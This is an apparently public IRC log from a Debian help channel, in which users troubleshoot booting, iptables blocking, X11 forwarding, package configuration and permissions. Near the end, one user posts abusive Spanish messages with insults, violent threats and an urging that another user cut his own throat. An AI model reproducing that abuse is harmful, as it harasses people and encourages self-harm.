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| 21:22.56 | MrStein | I just checked, the x86 and amd64 netinst iso images boot from USB key, while both kfrebsd ones do not. As I have no CD unit, hot to boot/install kFreeBSD ? |
| 21:23.05 | MrStein | hot=how |
| 21:23.13 | arcsky | jhutchins_lt: do you know in which file i could change the ssl dir ? i tried Makefile.in but it didnt work |
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| 21:23.47 | jhutchins_lt | arcsky: It would depend on the package. |
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| 21:24.04 | jhutchins_lt | arcsky: There's probably a way to do what you're trying to do without having to compile this program. |
| 21:24.05 | flock-_ | how can I block an ip with iptables? |
| 21:25.10 | jhutchins_lt | flock-_: add a drop entry for it in one of the tables. |
| 21:25.40 | jhutchins_lt | flock-_: http://wiki.debian.org/iptables |
| 21:25.56 | streuner_ | flock-_: iptables -I INPUT -s <IP> -j DROP |
| 21:26.34 | pynonoir | Hi. I get an error message when trying to upgrade my system |
| 21:26.39 | pynonoir | cp: cannot stat `/boot/initrd.img-2.6.39-2-amd64': No such file or directory |
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| 21:27.33 | jelly-home | pynonoir: does anything fail to work or is it just cosmetic? |
| 21:27.45 | jelly-home | pynonoir: are you running testing? |
| 21:27.45 | arcsky | jhutchins_lt: apt-get install libssl-dev and now it works ;) |
| 21:28.21 | pynonoir | jelly-home: apt is blocked because it want to configure linux-image-2.6-amd64 |
| 21:28.39 | pynonoir | and yes, i'm running testing |
| 21:29.11 | jelly-home | !wheezy |
| 21:29.11 | dpkg | The release after squeeze will be called "wheezy" (the rubber toy penguin with a red bow tie), and will be Debian 7.0. Ask me about <testing>. #debian-next on irc.debian.org. |
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| 21:29.26 | jelly-home | pynonoir: use that channel (note the different IRC network) |
| 21:29.55 | pynonoir | ok, thanks ! |
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| 21:30.17 | pynonoir | see you :) |
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| 21:31.26 | jhutchins_lt | arcsky: Actually that makes perfect sense. |
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| 21:33.37 | jhutchins_lt | arcsky: The -dev files are the headers for building other files against. |
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| 21:36.32 | flock-_ | Hello. I am not sure if Its the right channel to ask it. Is there any way to prevent same ip (Now they are 3 ips from 3 differnt ISP's) to join multiple times in my website? Its a debian system, and someone is doing like 5000 connections with only one ip. It's crashing my mysql. |
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| 21:37.26 | jhutchins_lt | flock-_: http://wiki.debian.org/iptables |
| 21:37.48 | jhutchins_lt | flock-_: Look at throttling. |
| 21:38.06 | jhutchins_lt | flock-_: This is not something we can tell you how to do in one line one line on irc. |
| 21:39.13 | jhutchins_lt | flock-_: You will have to follow the links in the wiki and read about how to set it up. |
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| 21:39.56 | jhutchins_lt | flock-_: That could be a DOS attack, or it could just be a web spider trying to crawl your site. |
| 21:41.35 | flock-_ | It's not a web spider |
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| 21:47.20 | navysealltblue | alright, so I have a fresh minimal install of squeeze and i am trying to x11 forward, but everytime i try to run an app through ssh, i get "ERROR:root:Unable to initialize GTK: could not open display" back |
| 21:47.35 | navysealltblue | I think i must have missed a dependency for something... anyone have any suggestions? |
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| 21:48.46 | th0r | navysealltblue: did you set up x forwarding correctly? make sure it is enabled in /etc/ssh/sshd_config, and when you ssh to the server make sure you use either ssh -X or ssh -Y. And I am not sure you can do it as root |
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| 22:02.11 | jams | hello, does debian provide a /etc/lsb-release along with /etc/debian_release? |
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| 22:02.23 | fenugreek | doubt it |
| 22:02.25 | jams | and if so can someone paste the contents of /etc/lsb-release |
| 22:02.55 | fenugreek | jams: what good would that do you? |
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| 22:03.02 | karlpinc_ | jams: You can install lsb_release and then use that command. |
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| 22:03.27 | jams | i'm trying to find a way to tell the difference between ubuntu and debian |
| 22:03.51 | th0r | jams: http://pastebin.com/CqtKJvdD |
| 22:03.52 | jams | ubuntu provides a /etc/debian_release |
| 22:03.53 | karlpinc_ | jams: Bitch at ubuntu. They're the ones that pretend to be debian. |
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| 22:04.03 | jams | already have |
| 22:04.37 | jams | th0r- really thats the contents of /etc/lsb-release? |
| 22:04.43 | fenugreek | "Ubuntu" or any Ubuntu variety? |
| 22:04.51 | zykotick9 | jams, "lsb_release -a" will show you |
| 22:04.59 | fenugreek | I'd think uname -a would tell you |
| 22:05.01 | th0r | jams: it is the response to /usr/bin/lsb_release |
| 22:05.07 | huma | i want to run a service via start-stop-daemon. it's written in c# and mono doesn't deatch itself. is it ok to run it like "start-stop-daemon --start ... &" or better use --background option? |
| 22:05.17 | jams | yeah i'm not using the lsb_release command. |
| 22:05.26 | jams | it varies between distros as to what it's name is |
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| 22:15.05 | nsadmin | is it possible to install earlier pgs (specifically 8.3.x) on squeeze? |
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| 22:15.42 | fenugreek | possible, sure |
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| 22:17.11 | nsadmin | I mean... I could build my own and be perfectly happy; not like I haven't done that before. but I would like to find out about a packaged version... perhaps this would be a "fore port" |
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| 22:18.35 | navysealltblue | th0r, thanks for the response. sorry about the delay, didn't realize my chat logged out. I have x11 forwarding enabled in my sshd_config, and my putty config has successfully been used before, and has x11 forwarding enabled. I just however noticed that the default sshd config has an x11 display offset, could that be causing part of the issue? |
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| 22:19.02 | jams | oh what about the contents of /etc/issue or issue.net ? Does debian provide one of those? |
| 22:19.37 | nsadmin | navysealltblue, not sure what you're trying to do... having said that, is "xbase-clients" installed on both sides? |
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| 22:20.00 | nsadmin | oh, putty... |
| 22:20.15 | nsadmin | so you're sshing in from windows? |
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| 22:21.04 | navysealltblue | nsadmin, yeah, the config has worked for me on other distros/builds right now every time I try to x11 forward, i get a gtk initialization error and it says it cant open the display |
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| 22:26.21 | UltimediaOS | is it possible to configure dpkg in this direction: deny several packages from apt repository X and/or base system packages only from one repository and have another repository configured that also provides base packages, but deny them from that server... hope you understood me |
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| 22:27.19 | navysealltblue | nsadmin, i uninstalled and reinstalled xbase and its working now XD think i broke something else in the process, but thanks for the help in remedying that problem ^_^ |
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| 22:27.50 | subuser | is there any reason why /tmp needs to be mounted executable for a kernel upgrade? apt uses /var for executing stuff already, why not use that for kernel too? |
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| 22:28.10 | subuser | i fixed my problem by dpkg-reconfigure initramfs-tools after remounting /tmp |
| 22:28.20 | LinuxGuy2009 | When running the squeeze live standard live CD, what is the super user password? |
| 22:28.20 | subuser | then rebooted and set /tmp to noexec again |
| 22:28.41 | jelly-home | subuser: /tmp needs to be executable for many package installations |
| 22:29.10 | subuser | that's like a big bug i figure, not every partition needs to be executable, esepcially when you use others for installation already |
| 22:29.14 | jelly-home | or it used to be |
| 22:29.23 | subuser | only the kernel i had trouble with |
| 22:29.54 | jelly-home | it used to fail basically with any serious postinst, perhaps that changed |
| 22:31.32 | subuser | or to make a wrapper script for apt that'll remount /tmp after changing to runlevel 1 and then do its install, and mount it back again at reboot |
| 22:33.44 | jelly-home | !tmp noexec |
| 22:33.45 | dpkg | dpkg doesn't like you mounting /tmp noexec, so you need to: echo -e 'DPkg::Pre-Invoke {"mount -o remount,exec /tmp";};\nDPkg::Post-Invoke {"mount -o remount /tmp";}' > /etc/apt/apt.conf.d/tmp-noexec |
| 22:34.52 | subuser | that sounds good, but will it automatically be able to unlink all of the open file descriptors in it? |
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| 22:36.22 | jelly-home | don't be ridiculous! |
| 22:36.52 | jelly-home | it's a silly wee workaround |
| 22:37.41 | UltimediaOS | have we a good reference for dpkg.cfg or apt config |
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| 22:37.52 | jelly-home | man apt.conf ? |
| 22:37.58 | UltimediaOS | its not enough |
| 22:38.02 | UltimediaOS | oh |
| 22:38.03 | UltimediaOS | sry |
| 22:38.04 | jelly-home | what is missing |
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| 22:38.30 | UltimediaOS | ive entered the wrong manpage before |
| 22:38.36 | UltimediaOS | man dpkg.cfg |
| 22:38.59 | UltimediaOS | yeah enough :) |
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| 22:54.55 | LinuxGuy2009 | I'm running the debian squeeze live standard cd, the one with no desktop environment, and I made a file in the home folder, I need to use "fdisk -l" so I can mount my flashdrive, but I need to switch to super user. But don't know the password. What might the password be? |
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| 22:58.09 | LinuxGuy2009 | NM I got it. Its setup to use sudo. |
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| 23:06.14 | nsadmin | navysealltblue, yeah, got an important call... but just found you got things working. enjoy |
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| 23:06.30 | under | Hi all. I cannot understand why I have not the permission to write: http://pastebin.com/5dZxeQRd |
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| 23:07.20 | nsadmin | under, permission to write what? what user are you logged in as? show the one ls -ld line on the thing you're trying to write to |
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| 23:07.55 | under | nsadmin, as you see, i cannot delete a file. |
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| 23:08.16 | under | root@dm800:/media/net/NC10# touch myfile |
| 23:08.16 | under | touch: myfile: Permission denied |
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| 23:09.21 | nsadmin | ls -ld /media/net/NC10 |
| 23:09.39 | zykotick9 | under, I'm guessing you aren't logged in as user with ID 1000 |
| 23:09.41 | nsadmin | oh, that's a device mount? |
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| 23:10.06 | nsadmin | zykotick9, looking at the pastebin, it -looks- like he's root |
| 23:10.19 | deepa | I've seen people wreck systems |
| 23:10.28 | zykotick9 | nsadmin, thanks - i didn't notice that |
| 23:10.28 | deepa | Someone renamed root to bob once |
| 23:10.43 | under | nsadmin, yes. |
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| 23:10.59 | under | I've share a directory with write permission from debian machine |
| 23:11.42 | nsadmin | if ls -l shows 1000 as number, the /etc/passwd entry is missing |
| 23:12.24 | nsadmin | well really good chance of that... check /etc/passwd for some:x:1000:... |
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| 23:13.21 | ws2k3 | hello people i'm building a game control panel for linux. but i'm running into an issue how can i build a website that somehow runs a linux command on a different server(in a safe way) i already have looked into php exec but its not very safe and its hard of cross platform. what |
| 23:13.23 | nsadmin | hmm, deepa may have a point... look carefully at your passwd file... look at the last entry |
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| 23:14.14 | under | nsadmin, http://pastebin.com/dTCtuthb |
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| 23:16.37 | nsadmin | it -looks- like plain users have never been added |
| 23:16.57 | nsadmin | but those 3 near the end look a bit funny |
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| 23:17.27 | nsadmin | I donm't see that any have been repointed to root |
| 23:18.05 | nsadmin | is this a live cd? |
| 23:18.14 | under | nsadmin, the 'server' is debian, the 'client' is a dreambox |
| 23:18.34 | nsadmin | is this server thing a remote? |
| 23:18.58 | nsadmin | I'll get to what is a dreambox later :) |
| 23:18.59 | under | decoder sat |
| 23:19.10 | under | *sat decoder |
| 23:19.20 | public_ | i'd like to check permissions on debian system, is it possible ? |
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| 23:19.37 | nsadmin | what permission do you want to check? |
| 23:19.51 | nsadmin | can I eat chocolate ice cream? |
| 23:19.57 | nsadmin | PERMISSION DENIED! |
| 23:20.22 | zykotick9 | under, crossposting in both debian and ubuntu at the same time is frowned upon. Ah i see you've updated to "server is ubuntu and client is dreambox" |
| 23:20.49 | nsadmin | under, you say the debian "server" is a sat decoder? |
| 23:21.14 | zykotick9 | nsadmin, i'm guessing it's really an ubuntu server FYI |
| 23:21.20 | public_ | in fact i have used an old /etc/passwd and group file.. and i would like the system to check everything is ok ?? not sure that is possible |
| 23:21.30 | under | nsadmin, the server is debian/ubuntu |
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| 23:21.57 | nsadmin | which? :) it determines which channel can give you better info |
| 23:22.27 | under | for my problem, is not difference |
| 23:24.12 | nsadmin | the dreamthing is a sat decoder? |
| 23:24.21 | nsadmin | or the server is? |
| 23:24.38 | under | server = debian | client = dreambox |
| 23:24.50 | nsadmin | zykotick9, cool... thanks |
| 23:25.20 | nsadmin | under, and which is a "sat decoder"? |
| 23:25.56 | under | nsadmin, are you kidding me? |
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| 23:26.51 | nsadmin | under, nope... I have no idea unless you specify (which can help anyone help, so it's worth writing down) |
| 23:27.14 | under | nsadmin, client = dreambox wich is a sat decoder. |
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| 23:28.09 | nsadmin | ok. thanks... so the server, is located close to you? (1.5 meters? 1000 km?) |
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| 23:29.04 | nsadmin | this is important, because it would shape how careful you have to be |
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| 23:29.44 | under | nsadmin, it's in my local area network |
| 23:29.48 | under | so it's close |
| 23:29.55 | nsadmin | ok, that's fine |
| 23:30.14 | nsadmin | so we don't have to go driving 300 miles if something goes really wrong |
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| 23:31.34 | nsadmin | the first thing, not totally sure why you can't write. could it be the mounted device is mounted read only? |
| 23:32.30 | inference | what is a good application to handle .rar files? |
| 23:32.39 | under | rar |
| 23:33.03 | inference | i remember i had one once that was called with command '7z' but dont remember the package |
| 23:33.34 | nsadmin | second, I see in your passwd file no entries for plain users. not sure what the exact role of your server is, how many people it serves or how mission critical it is... so, not sure what you want to do about that |
| 23:33.37 | zykotick9 | inference, unrar-free is in main. 7z is p7zip-full |
| 23:33.46 | inference | ah, ty |
| 23:33.57 | nsadmin | personally, I have plain-user accounts on most of my servers |
| 23:33.57 | inference | i have some obscure distro based on squeeze |
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| 23:36.21 | snax | moin |
| 23:36.51 | SonicDGM | anyone here to chat ? |
| 23:37.09 | snax | How can I read some documentation (text) files with a .tex ? |
| 23:37.17 | under | nsadmin, was enough give permission from server |
| 23:37.21 | under | thanks |
| 23:37.25 | snax | is there a a reader I should apt-get ? |
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| 23:38.46 | Lewoco | How do I disable startup notification? |
| 23:38.56 | ranix | inference: also check out "unp" |
| 23:39.08 | ranix | used in addition to rar, not instead of |
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| 23:44.36 | snax | oh it appears latex is a convention, not a file format. |
| 23:45.17 | snax | Is there a way to strip out the latex and read the contents? |
| 23:45.21 | ranix | latex is a document markup language |
| 23:45.46 | ranix | similar to html, except less ass |
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| 23:47.18 | zykotick9 | ranix, that could be Latex's tag line "similar to html, except less ass" ;) |
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| 23:48.27 | user_ | mocodebuey: Eres de los mas vejados de la vida, no tienes futuro, solo te keda el irc donde eres apaleado y vejado sin compasion? |
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| 23:49.04 | user_ | CannedCorn: Cuanto hace ke no te vaya a pegar una paliza ke te folle el culete? |
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| 23:49.08 | user_ | phrantiq: Eres un puto frakasado de la tierra. |
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| 23:49.47 | user_ | wbunz: He hablado kon tus padres y te cortas el cuello desangrandote como un cerdo haras felices a miles de usuarios de internet, es ke akaso no te vaya a pegar una paliza de muerte a una fosa komun. |
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| 23:50.38 | nsadmin | snax, tex is sorta a compiler (sorta not too)... to produce outputyou make .dvi files out of .tex, then go from there, maybe make postscript files out of .dvi which you print |
| 23:50.51 | nsadmin | there may also be .dvi viewers |
| 23:51.42 | Corey | <PROTECTED> |
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